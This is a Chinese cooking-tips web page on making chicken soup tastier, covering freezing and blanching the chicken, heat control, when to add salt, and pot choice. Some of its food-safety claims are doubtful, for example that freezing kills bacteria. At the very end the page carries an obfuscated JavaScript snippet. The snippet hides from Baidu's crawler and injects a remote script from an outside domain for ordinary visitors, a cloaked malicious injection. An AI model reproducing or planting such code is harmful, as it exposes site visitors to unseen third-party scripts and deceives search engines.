當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

讓雞湯好喝10倍 只需要記住這一招

2015-11-18 08:05:39  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):肌肉的營(yíng)養(yǎng)價(jià)值非常高,不僅美味,還能夠給身體提供蛋白質(zhì)。天冷了!你知道燉雞湯的技巧嗎?讓雞湯好喝10倍原來(lái)只要這一招。一定要學(xué)起來(lái)

雞湯

讓雞湯好喝10倍 只需要記住這一招

宰活雞吃凍雞

我們都習(xí)慣去市場(chǎng)買活雞,現(xiàn)場(chǎng)宰殺回家就燉湯,恨不能中間不耽擱分秒,實(shí)際上這是不對(duì)的。

鮮雞買回來(lái)后,應(yīng)先放冰箱冷凍室冰凍3~4個(gè)小時(shí)再取出解凍燉湯。

這跟排酸肉的原理是相同的,動(dòng)物驟然被殺,體內(nèi)會(huì)自然釋放多種毒素,而且剛宰殺的熱肉細(xì)菌繁殖迅速。

冷凍既殺菌,也讓肉從“僵直期”過(guò)渡“腐敗期”到 “成熟期”,這時(shí)的肉質(zhì)最好,再來(lái)燉湯做菜明顯香嫩。

飛水—必需功課

其實(shí),不光是雞,任何肉類燉湯前都應(yīng)先將主料飛水—就是開水里煮一下。這不僅可以去掉生腥味,也是一次徹底清潔的過(guò)程,還能使成湯清亮不混濁,鮮香無(wú)異味,一試就靈。

當(dāng)然,飛水也是有學(xué)問的。若冷水放肉,肉由水的冷到開,經(jīng)歷了一個(gè)煮熟的過(guò)程,營(yíng)養(yǎng)流失嚴(yán)重。最宜溫水下鍋,煮約7~8分鐘,不蓋蓋并適時(shí)翻動(dòng)。開水下鍋也行,3~5分鐘即可。

還可以將宰好的雞放在鹽。胡椒和啤酒中浸1小時(shí),再烹制時(shí)就沒有這種異味了。

從市場(chǎng)上買來(lái)的凍雞,有些從冷庫(kù)里帶來(lái)的怪味,影響食用。在燒煮前先用姜汁浸3-5分鐘,就能起到返鮮作用,怪味即除。

下鍋—水“生”火熱

燉湯則宜冷水下鍋,讓原料由水溫的慢慢升高而充分釋放營(yíng)養(yǎng)與香味。

與水同溫下鍋的原料更能熬出好味道,所以,一定要記住,飛完水后的原料要立即用冷水沖涼再入鍋燉。

火候—猜大猜小

燉雞湯應(yīng)先大火約10分鐘燒開再轉(zhuǎn)文火,開的程度應(yīng)掌握在似開非開,因?yàn)樯板佊泻芎玫谋毓δ?,若等沸騰時(shí)再調(diào)小火,它的后繼沸騰過(guò)程對(duì)湯品的“鮮”是一個(gè)損失。

而且這10分鐘里千萬(wàn)不要揭蓋,“跑氣”了的湯就沒了原汁原味。

放鹽的學(xué)問

對(duì)于燉湯來(lái)說(shuō),這還是個(gè)不小的問題。放鹽的時(shí)間在某種意義上能主宰湯的口味。不管是有的人說(shuō)下鍋時(shí)就放鹽,還是半熟時(shí)放,都不對(duì)。

鹽煮長(zhǎng)了會(huì)與肉類發(fā)生化學(xué)反應(yīng),肉類里的蛋白質(zhì)被鎖定,湯味淡,肉也燉不爛。那么鹽該何時(shí)放好呢?記住了,鹽和別的調(diào)味品一定要在湯已燉好時(shí)放。

放鹽后轉(zhuǎn)大火10分鐘再停火,中途不揭蓋,不光味道全進(jìn)去了,而且湯味更濃。注意,放鹽進(jìn)去后不要攪拌,那會(huì)留下一股生鹽味。

很多人家里一燉雞湯,就會(huì)香飄四溢,老遠(yuǎn)就讓人聞到了雞湯的香味,這是燉湯的大忌。

所以這樣的燉湯,是不理想的,因?yàn)殡u的香味都流失了。那么如何燉出一鍋味道鮮美,齒頰留香的好雞湯,有幾個(gè)細(xì)節(jié)需要注意。

首先是器皿的選擇。多數(shù)時(shí)候,在家里做雞湯,器皿的選擇往往被忽視。很多人以為隨便選一個(gè)湯鍋就可以了,其實(shí)這里面大有學(xué)問。一般性的湯鍋,或是鋁制的,或是搪瓷的,也有考究一點(diǎn)的,會(huì)選用砂鍋。這些器皿多是廣口的,香味很容易飄出去,煲出來(lái)的燙就沒有了一口濃香,建議選用窄口高身的瓦罐最好。

不知道何為瓦罐的,可以參照廣東館子里煲湯的器皿。

其次是,很多人在清洗雞的時(shí)候,因?yàn)榕掠湍?/strong>,所以往往會(huì)把雞油摘掉。實(shí)際上,雞油對(duì)燉湯來(lái)說(shuō),大有好處。

建議杜湯的時(shí)候,將雞油放在湯中,這在烹飪中有“以油養(yǎng)湯”的說(shuō)法。

如果采用了上述的器皿,再用油來(lái)封住口,這樣燉出來(lái)的湯就不會(huì)飄香四溢,而是把雞香都留在了湯中。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}